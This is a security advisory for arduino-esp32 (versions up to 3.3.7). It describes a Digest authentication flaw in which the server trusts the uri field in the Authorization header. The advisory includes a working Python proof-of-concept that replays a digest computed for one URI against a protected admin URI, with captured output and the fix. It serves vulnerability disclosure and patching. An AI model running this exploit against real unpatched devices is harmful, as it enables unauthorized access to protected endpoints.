Skip to content

Digest authentication URI mismatch bypass in WebServer allows cross-resource replay attack

High
lucasssvaz published GHSA-28hv-fwm3-rpcq Apr 28, 2026

Package

arduino-esp32 (espressif)

Affected versions

<= 3.3.7

Patched versions

>= 3.3.8

Description

Summary

The WebServer Digest authentication implementation in arduino-esp32 computes the authentication hash using the URI field from the client's Authorization header, without verifying that it matches the actual requested URI. This allows an attacker who possesses any valid digest response (computed for URI-A) to authenticate requests to a completely different protected URI (URI-B), bypassing per-resource access control.

Affected component

  • Repository: espressif/arduino-esp32
  • File: libraries/WebServer/src/WebServer.cpp, lines 199–263
  • Versions: all releases up to and including 3.3.7

Root cause

RFC 7616 (HTTP Digest Authentication) requires that the server verify the uri field in the Authorization header matches the request URI before accepting the response. The arduino-esp32 implementation computes:

HA2 = MD5(method : uri_from_auth_header)
response = MD5(HA1 : nonce : HA2)

The uri used for HA2 comes from the client-supplied Authorization header field, not from the HTTP request line. The server never checks whether they match. This means a digest response valid for /api/public will also pass validation for /admin, because only the client-supplied uri value is used in the hash.

Relevant code in WebServer.cpp:

// Lines 199-263: _uri is taken from Authorization header
_uri = auth_params["uri"];
// HA2 computed using _uri (attacker-controlled), not the actual request URI
String HA2 = md5str(String(_server.method() == HTTP_GET ? "GET" : "POST")
             + ":" + _uri);
// _currentUri (the real request URI) is never compared to _uri

Proof of Concept

Victim firmware: Any Arduino-ESP32 sketch with a Digest-protected endpoint,
e.g.:
server.on("/admin", []() {
    if (!server.authenticate("admin", "secret123")) {
        server.requestAuthentication(DIGEST_AUTH, "ESP32", "Login");
        return;
    }
    server.send(200, "text/html", "<h1>ADMIN SECRET</h1>");
});
server.on("/api/public", []() {
    server.send(200, "text/plain", "public OK");
});

Attacker script (exploit_digest_bypass.py):

import socket, hashlib, re

target   = "192.168.4.1"
username = "admin"
password = "secret123"   # valid credentials for any URI

# Step 1 — get 401 challenge from /admin
s = socket.socket(); s.connect((target, 80))
s.send(b"GET /admin HTTP/1.1\r\nHost: " + target.encode() + b"\r\nConnection: close\r\n\r\n")
resp = s.recv(4096).decode(); s.close()

realm = re.search(r'realm="([^"]+)"', resp).group(1)
nonce = re.search(r'nonce="([^"]+)"', resp).group(1)

# Step 2 — compute digest with WRONG URI (the bypass)
fake_uri = "/api/public"  # compute HA2 for this
real_uri = "/admin"       # but send request to this

HA1 = hashlib.md5(f"{username}:{realm}:{password}".encode()).hexdigest()
HA2 = hashlib.md5(f"GET:{fake_uri}".encode()).hexdigest()
response_hash = hashlib.md5(f"{HA1}:{nonce}:{HA2}".encode()).hexdigest()

# Step 3 — send GET /admin with Authorization for /api/public
auth = (f'Digest username="{username}", realm="{realm}", nonce="{nonce}", '
        f'uri="{fake_uri}", response="{response_hash}"')
req = (f"GET {real_uri} HTTP/1.1\r\nHost: {target}\r\n"
       f"Authorization: {auth}\r\nConnection: close\r\n\r\n")

s = socket.socket(); s.connect((target, 80))
s.send(req.encode())
print(s.recv(4096).decode()); s.close()

Result on ESP32-D0WD-V3 rev3.1 (arduino-esp32 v3.3.7):

Attacker side (server returned 200 on /admin with digest for /api/public):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 22

<h1>ADMIN SECRET</h1>

ESP32 serial log:
New client connected
GET /admin HTTP/1.1 -> 401 Unauthorized
GET /admin HTTP/1.1 -> 200 OK  <- bypass successful!

The digest computed for /api/public was accepted as valid for /admin. URI mismatch was not detected.

Impact

An attacker who can obtain any valid Digest response for one URI (by observing network traffic, or by computing one using known credentials for a low-privilege endpoint) can replay it to access any other protected URI on the same ESP32 server without recomputing the digest for the target URI.

In multi-endpoint deployments where some routes are public and some are admin-only, this allows escalation from no access to full admin access.

Fix

Fixed in PR #12486 (commit bb86048), released in arduino-esp32 v3.3.8 (2026-04-12). The fix compares the uri field from the Authorization header against the actual request URI and rejects mismatches:

// WebServer.cpp — fix in bb86048
if (_uri != _currentUri) {
    log_w("Digest URI mismatch: auth=%s, request=%s",
          _uri.c_str(), _currentUri.c_str());
    goto exf;  // reject — auth URI doesn't match request URI
}

Timeline

- 2026-03-27: Vulnerability reported to bugbounty@espressif.com with encrypted attachment
- 2026-04-01: Fix merged in PR #12486 (commit bb86048)
- 2026-04-12: Fix released in arduino-esp32 v3.3.8
- 2026-04-13: Espressif confirmed fix and requested advisory submission
- 2026-04-22: Reporter submitted GHSA

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-42855

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Credits